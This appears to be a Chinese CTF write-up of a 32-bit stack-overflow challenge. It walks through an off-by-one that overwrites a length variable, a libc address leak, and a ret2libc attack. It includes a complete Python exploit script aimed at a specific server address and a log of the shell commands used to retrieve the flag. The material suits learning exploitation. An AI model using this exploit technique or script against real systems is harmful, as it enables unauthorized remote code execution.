用某大牛的话来说,一道“简单的栈溢出”,题目用nc连上去之后就一行提示input name,试了一些%字符串之后无果,超长字串也没有问题,于是直接丢IDA分析。
程序很简单,就几个函数,通过xref很快理清代码逻辑,入口点进去就是调用一个 __libc_start_main
开始main函数,然后有一些constructor和finalizer函数,主线就是0x80485c2(命名为call_main) -> 0x80484ac(命名为main_func) 其实call_main就是main函数,但为了逻辑清晰就这么写了
main_func中首先调用write输出“input name”的提示,然后调用read将结果写入一个16字节大的缓冲区,read和write共用一个nbytes变量,函数开始的时候nbytes初始化为16。read完紧接着一个strlen判断字符串是否>=10,若过长直接返回,长度恰当,调用strncmp判断输入字串的前8个字符是否是“syclover”。这里strlen和strncmp判断长度的参数都是固定的,无法利用。然后接下去又是write - read - write,提示输入另一个字串slogan,然后输出用户输入,第二个字串存入一个128字节的缓冲区。然后整个程序就结束了……乍一看似乎没有可以利用的地方,第一个read的缓冲区只有16字节,但是nbytes也是16,不会覆盖到别的地址……我的IDA不知为何F5会崩溃退出,导致有个很关键的点看漏了,实际上在第一次调用read之前0x804850f
这个地方被插了个eax+1,接着eax+1被保存回原来nbytes的位置,所以其实read读取了16+1个字节,而不是16个
.text:080484F0 0BC mov dword ptr [esp+8], 0Ch ; n
.text:080484F8 0BC mov dword ptr [esp+4], offset aInputName ; "input name:"
.text:08048500 0BC mov dword ptr [esp], 1 ; fd
.text:08048507 0BC call _write ; Call Procedure
.text:0804850C 0BC mov eax, [ebp+nbytes]
.text:0804850F 0BC add eax, 1 ; <-故意插的桩
.text:08048512 0BC mov [esp+8], eax ; nbytes
.text:08048516 0BC lea eax, [ebp+buf] ; Load Effective Address
.text:08048519 0BC mov [esp+4], eax ; buf
.text:0804851D 0BC mov dword ptr [esp], 0 ; fd
.text:08048524 0BC call _read ; Call Procedure
.text:08048529 0BC lea eax, [ebp+buf] ; Load Effective Address
.text:0804852C 0BC mov [esp], eax ; s
.text:0804852F 0BC call _strlen ; Call Procedure
有了这个出题人故意插的桩后边也就顺理成章,看下栈帧(ctfl+k)
-000000A1 db ? ; undefined
-000000A0 db ? ; undefined
-0000009F db ? ; undefined
-0000009E db ? ; undefined
-0000009D db ? ; undefined
-0000009C slogan db 128 dup(?)
-0000001C buf db 16 dup(?)
-0000000C nbytes dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
buf下面是nbytes,17个字节刚好可以覆盖掉nbytes的最低位,这样下一个read就可以读入255字节的字串,足以从slogan覆盖到返回地址。需要注意一点是第一个read后面是有strlen和strncmp判断的,所以要用0填过去,最后一字节再置为0xff。
s = socket.socket()
s.connect(('218.2.197.248',10001))
s.recv(100)
s.send('syclover'+'\x00'*8+'\xff')
s.recv(100)
之后这里就可以控制程序返回流了,服务器开了nx和aslr,首先想到ret2libc,但有个问题,能够利用的read只有一次,但libc的基址是随机的,如何找到system()的地址?思前想后无果,先写了一段脚本打印栈结构
pl='a'*(128+16)+struct.pack('I',256)+'a'*8
#这里palyload构造参照上面IDA栈帧结果
s = socket.socket()
s.connect(('218.2.197.248',10001))
s.recv(100)
s.send('syclover'+'\x00'*8+'\xff')
#time.sleep(0.5)
s.recv(100)
s.send(pl)
#time.sleep(1)
data = s.recv(4096)
print 'datalen:',len(data)
if not data:
raise Exception('error')
print '*-----------------*'
frames = []
try:
for i in xrange(128+16+4+8,len(data)&0xfffffc,4):
b4yte = data[i:i+4]
frame, = struct.unpack('I',b4yte)
#print hex(frame)
frames.append(frame)
finally :
print 'continue..'
for n in frames:
print hex(n)
最上面的一段结果:
L
↓0xbff21228 ;call_main ebp
0x80485cd ;ret to call_main
0x80485f0
0x0
↓0x0
0xb75d74d3 ;ret to __libc_start_main
0x1
0xbff212c4
0xbff212cc
0xb777a858
H
...
...还有很多很多
可以看到除了最顶上两个人尽皆知的ebp
和ret addr
之外我还标了一个返回到__libc_start_main
的地址。因为main是通过__libc_start_main
启动的(入口处),所以main的调用栈必定能回溯到__libc_start_main
里面。但具体的调用链我不清楚……那就猜吧……hhhh反正在返回地址下面对不对 _(:з」∠)_题目同时给出了libc的bin,IDA找一下__libc_start_main
.text:000193E0 __libc_start_main proc near
.text:000193E0
.text:000193E0 env = dword ptr -6Ch
.text:000193E0 var_68 = dword ptr -68h
.text:000193E0 var_64 = dword ptr -64h
.text:000193E0 var_54 = dword ptr -54h
.text:000193E0 var_50 = dword ptr -50h
.text:000193E0 var_48 = byte ptr -48h
.text:000193E0 var_2C = dword ptr -2Ch
.text:000193E0 var_28 = dword ptr -28h
.text:000193E0 var_10 = dword ptr -10h
.text:000193E0 addr_of_cunc = dword ptr 4
.text:000193E0 arg_4 = dword ptr 8
.text:000193E0 arg_8 = dword ptr 0Ch
.text:000193E0 arg_C = dword ptr 10h
.text:000193E0 arg_14 = dword ptr 18h
根据参数把arg0改为addr_of_func往下找
.text:000194C0 mov [esp+6Ch+var_68], ecx
.text:000194C4 mov [esp+6Ch+var_64], eax
.text:000194C8 mov eax, [esp+6Ch+arg_4]
.text:000194CC mov [esp+6Ch+env], eax
.text:000194CF call [esp+6Ch+addr_of_func] ;Here is the call
.text:000194D3
.text:000194D3 loc_194D3: ; CODE XREF: __libc_start_main+12Ej
.text:000194D3 mov [esp+10h+var_10], eax
.text:000194D6 call exit
.text:000194DB ; ---------------------------------------------------------------------------
.text:000194DB
.text:000194DB loc_194DB: ; CODE XREF: __libc_start_main+25j
.text:000194DB xor ecx, ecx
.text:000194DD jmp loc_19414
.text:000194E2 ; ---------------------------------------------------------------------------
.text:000194E2
也就是说返回到这里的时候应该是到0x000194d3的位置,结合之前打印栈结构的数据合理猜测0xb75d74d3就是对应的动态绑定的返回到__libc_start_main
中的真实地址。于是libc的基址就可以这样计算:base = ebp+5*4-0x194d3
,对应的system()的地址为base+0x3f430
,"/bin/sh"字串在base+0x160f58
,这些偏移均可以从libc中搜索得到,这里不再赘述。可是问题还搁在那没解决,地址找齐了,read也已经执行完了,没有机会再ret到system了,怎么办……又是一轮冥思苦想无果,尝试返回到其中一个read让read再次覆盖返回地址也没成功,期间倒是通过固定目标地址暴力循环盲打的方式成功溢出几回……向大牛讨问了半天如何构造堆栈能让程序ret到read上面之后还能读到有效的数据(关键是nbytes和fd),后来得出个结论:这几乎是不可能的,因为由始至终并无办法获得esp或ebp,也就没法计算read需要的参数偏移的具体位置,连填充数据填到了哪个地址也无法知道,所以ret回read不现实。后来大牛说直接给你看看脚本好了……原来他一开始也在尝试ret到read,半天发现不行,改为直接ret到函数开头,不过脚本写完回头忘了= = 好吧,改为ret到函数开头,成功。
最后exp的思路是
- 发送"syclover"+8个\x00+\xff,覆盖nbytes最低位
- 发送’A’*0x9c + 随意一个ebp +
0x80484ac
(main_func的地址)覆盖返回地址,使程序重复执行main_func;同时通过程序write出来的数据获得返回到__libc_start_main
中的地址,再根据这个地址计算system()和/bin/sh字串的位置 - 在第二次调用的main_func过程中用同样的办法把返回地址覆盖为算出的system,ret_addr+8为/bin/sh的位置
成功利用的脚本如下
#!/bin/env python
#coding:utf-8
import struct
import socket
import time
def run(cmd):
new_ebp = 0xbf000000
base = 0xb75b4000
t_addr = base+0x3f430
pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('II',new_ebp,0x80484ac)
s = socket.socket()
s.connect(('218.2.197.248',10001))
s.recv(100)
s.send('syclover'+'\x00'*8+'\xff')
#time.sleep(0.5)
s.recv(100)
s.send(pl)
#time.sleep(1)
data = s.recv(4096)
print 'datalen:',len(data)
if not data:
#raise Exception('error')
return
print '*-----------------*'
frames = []
try:
for i in xrange(128+16+4+8,len(data)&0xfffffc,4):
b4yte = data[i:i+4]
frame, = struct.unpack('I',b4yte)
#print hex(frame)
frames.append(frame)
finally :
print 'continue..'
#for n in frames:
#print hex(n)
addr_ret = frames[1]
print 'ret to:',hex(addr_ret)
base = frames[5]-0x194d3
print 'base:',hex(base)
addr_system = base+0x3f430
print 'system:',hex(addr_system)
#if addr_system != t_addr:
# print 'not\n'
# return
addr_shstr = base+0x160f58
print 'str:',hex(addr_shstr)
print 'addr_system:',hex(addr_system),'sh_addr:',hex(addr_shstr)
print s.recv(100)
s.send('syclover'+'\x00'*8+'\xff')
s.recv(100)
pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('IIII',new_ebp,addr_system,0x8048585,addr_shstr)
s.send(pl)
s.recv(4096)
print '================================='
s.send(cmd+'\n')
d2 = s.recv(4096)
print d2
print '================================='
s.close()
if __name__ == '__main__':
while True:
cmd = raw_input('command: ')
run(cmd)
最后flag放在/home/pwn1/ffLLag_/flag这个文件中
[pnck@iZ2387cmgm2Z ctf]$ ./pwn200.py
command: ls /home
datalen: 256
*-----------------*
base: 0xb7551000
system: 0xb7590430
str: 0xb76b1f58
addr_system: 0xb7590430 sh_addr: 0xb76b1f58
=================================
pwn1
pwn2
pwn3
syclover
=================================
command: ls /pwn1/
*-----------------*
base: 0xb752f000
system: 0xb756e430
str: 0xb768ff58
addr_system: 0xb756e430 sh_addr: 0xb768ff58
=================================
ls:
=================================
command: ls /home/pwn1
*-----------------*
base: 0xb7559000
system: 0xb7598430
str: 0xb76b9f58
addr_system: 0xb7598430 sh_addr: 0xb76b9f58
=================================
ffLLag_
pwn1
=================================
command: ls /home/pwn1/ffLLag_
*-----------------*
base: 0xb75a9000
system: 0xb75e8430
str: 0xb7709f58
input name:
addr_system: 0xb75e8430 sh_addr: 0xb7709f58
=================================
flag
=================================
command: cat /home/pwn1/ffLLag_/flag
*-----------------*
base: 0xb75f9000
system: 0xb7638430
str: 0xb7759f58
addr_system: 0xb7638430 sh_addr: 0xb7759f58
=================================
SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}
=================================